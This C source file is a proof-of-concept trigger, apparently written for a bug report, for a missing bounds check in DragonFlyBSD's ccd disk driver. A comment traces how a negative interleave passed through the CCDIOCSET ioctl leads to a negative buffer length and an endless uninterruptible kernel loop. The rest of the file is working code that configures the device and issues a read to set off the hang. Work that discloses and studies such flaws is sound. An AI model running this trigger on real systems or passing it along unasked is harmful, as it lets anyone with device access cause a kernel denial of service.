DF-4279 / trigger.c
/* * DF-4279 trigger — DragonFlyBSD sys/dev/disk/ccd/ccd.c * * CCDIOCSET accepts a negative interleave (ccio_ileave is a signed int, * ccd.c:1326 has no lower-bound check). ccdinit stores it in * cs->sc_ileave; every guarded use tests only (sc_ileave > 0) so the * negative value reaches ccdbuffer(), where * * cbc = dbtob((off_t)(cs->sc_ileave - cboff)); (ccd.c:1068) * * is negative (ileave<0, cboff<=0), producing a *negative* * cb_buf.b_bcount (ccd.c:1071). ccdstart() then computes * * rcount = cbp[0]->cb_buf.b_bcount; (ccd.c:888) * bcount -= rcount; (ccd.c:886) * * so bcount GROWS by |rcount| every iteration and the dispatch loop * (ccd.c:886-926) never terminates: it getccdbuf()s and vn_strategy()s * a negative-length buffer forever. The calling thread is stuck in an * un-interruptible kernel loop (SIGKILL cannot touch a plain for(;;) * in kernel context) and the top-level bio never completes. * * usage: trigger /dev/ccd0 /dev/mdXd <ileave> * ileave > 0 -> positive control (normal operation) * ileave < 0 -> bug trigger */ #define _KERNEL_STRUCTURES #include <sys/types.h> #include <sys/ioctl.h> #include <sys/param.h> #include <sys/ccdvar.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { struct ccd_ioctl ccio; char *disks[1]; int fd, ileave; char buf[512]; ssize_t n; if (argc < 4) { fprintf(stderr, "usage: %s <ccddev> <component> <ileave>\n", argv[0]); return (2); } ileave = atoi(argv[3]); fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open ccd"); return (1); } disks[0] = argv[2]; bzero(&ccio, sizeof(ccio)); ccio.ccio_disks = disks; ccio.ccio_ndisks = 1; ccio.ccio_ileave = ileave; ccio.ccio_flags = 0; if (ioctl(fd, CCDIOCSET, &ccio) < 0) { perror("CCDIOCSET"); return (1); } printf("[+] CCDIOCSET ok: unit=%d size=%llu sectors ileave=%d\n", ccio.ccio_unit, (unsigned long long)ccio.ccio_size, ileave); fflush(stdout); /* single 512-byte read at offset 0 */ n = pread(fd, buf, sizeof(buf), 0); if (n < 0) perror("read"); else printf("[+] pread returned %zd bytes%s\n", n, (ileave < 0) ? " <-- BUG: loop escaped" : ""); fflush(stdout); return (0); } |